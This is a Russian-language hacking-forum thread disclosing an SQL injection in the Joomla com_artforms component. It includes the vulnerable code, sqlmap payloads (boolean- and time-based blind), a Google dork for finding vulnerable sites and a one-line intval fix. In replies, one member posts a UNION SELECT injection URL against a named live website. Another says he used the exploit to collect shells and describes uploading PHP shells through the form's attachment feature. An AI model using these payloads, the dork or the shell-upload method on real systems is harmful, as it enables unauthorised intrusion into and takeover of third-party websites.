Sql injection Joomla com_artforms

Discussion in 'Веб-уязвимости' started by Machine, 10 Feb 2012.

  1. Machine

    Machine Elder - Старейшина

    Joined:
    23 Jun 2008
    Messages:
    403
    Likes Received:
    116
    Reputations:
    117
    1) Дата: 9.02.2012

    2) Продукт: Компонент для cms Joomla - Artforms http://joomlacode.org/gf/project/jartforms/

    3) Уязвимость: Joomla Component com_artforms SQL injection vulnerability

    4) Автор: Machine

    5) Тип: удалённая

    6) Опасность: 9

    7) Описание: описание смысла уязвимости, пример дырявого кода

    $formid = JArrayHelper::getValue( $_REQUEST, 'formid' );

    $db =& JFactory::getDBO();
    saveDBForms( $db, $option, $itemname_todb, $itemdata_todb, $formtitle, $formid );

    Параметр formid не фильтруется должным образом перед использованием в запросе. Это можно использовать для
    проведения SQL иньекции, вводя произвольный SQL код.

    Вывод sqlmap:
    GET parameter 'formid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
    GET parameter 'formid' is 'MySQL > 5.0.11 AND time-based blind' injectable
    GET parameter 'formid' is vulnerable.

    При подстановке в formid кавычки, встретил 2 варианта:
    1. Страница подменяет контент на "You are not authorised to view this resource. You need to log in."

    2. Уязвимый запрос никак не влияет на возвращаемую страницу.

    Оба варианта можно эксплуатировать.

    8) Эксплоит:

    Скуль можно отловить тока временными задержками, т.е. проводя Time-based sql injection.

    Вывод sqlmap:
    ---
    Place: GET
    Parameter: formid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: option=com_artforms&formid=1' AND 6369=6369 AND 'YtSt'='YtSt

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: option=com_artforms&formid=1' AND SLEEP(5) AND 'mZvJ'='mZvJ
    ---

    9) Поиск: пример поиска приложения через поисковые системы

    Google dork: inurl:index.php?option=com_artforms

    10) Решение: в /components/com_artforms/artforms.php

    $formid = JArrayHelper::getValue( $_REQUEST, 'formid' );
    поменять на
    $formid = intval(JArrayHelper::getValue( $_REQUEST, 'formid' ));

    =====================
    Видео _http://depositfiles.com/files/j5vqht4y9
    =====================
    Отдельное спасибо z0mbyak'у.
     
    4 people like this.
  2. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    по просьбе ТС
     
    _________________________
  3. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Code:
    http://agont.ru/index.php?option=com_artforms&formid=8'+and+0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--+&Itemid=202
    обычный вывод
     
    _________________________
  4. z0mbyak

    z0mbyak Active Member

    Joined:
    10 Apr 2010
    Messages:
    537
    Likes Received:
    200
    Reputations:
    293
    Не всегда, таймбэйзед работает, а вывода нет)
     
  5. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    Обычный вывод не везде срабатывает!

    Понадобилось нарыть по быстрому шеллов, воспользовался данным експлоитом, до сих пор актуален, автору +!
     
    _________________________
  6. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    Расковырял такую багу в версии ArtForms 2.1b7.2 думаю имеет смысл покапать и другие версии.
    Заполняем форму прикрепляем свой шелл и идем в папку куда все заливается:
    сам код заливки:

    протестировал тут успешно:
    Формат в котором заливается:
    PHP:
    $attachmentsname date('Y-m-d-H-i-s-').$saltpass.'-'.str_replace(' ','-',$_FILES['attfile']['name'][$g]);
    2014-01-12-16-15-32-PhpjV-shell.php
    2014-01-12-16-19-22-vyEVm-shell.php

    попадались сайты с расшареной папкой по запросу:
    Но не везде проходила эта бага...
    с закрытыми папками остается только брутить соль в название из 5 символов.

    сам проект ведется здесь:
     
    _________________________
    4 people like this.
  7. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    ушло
     
    _________________________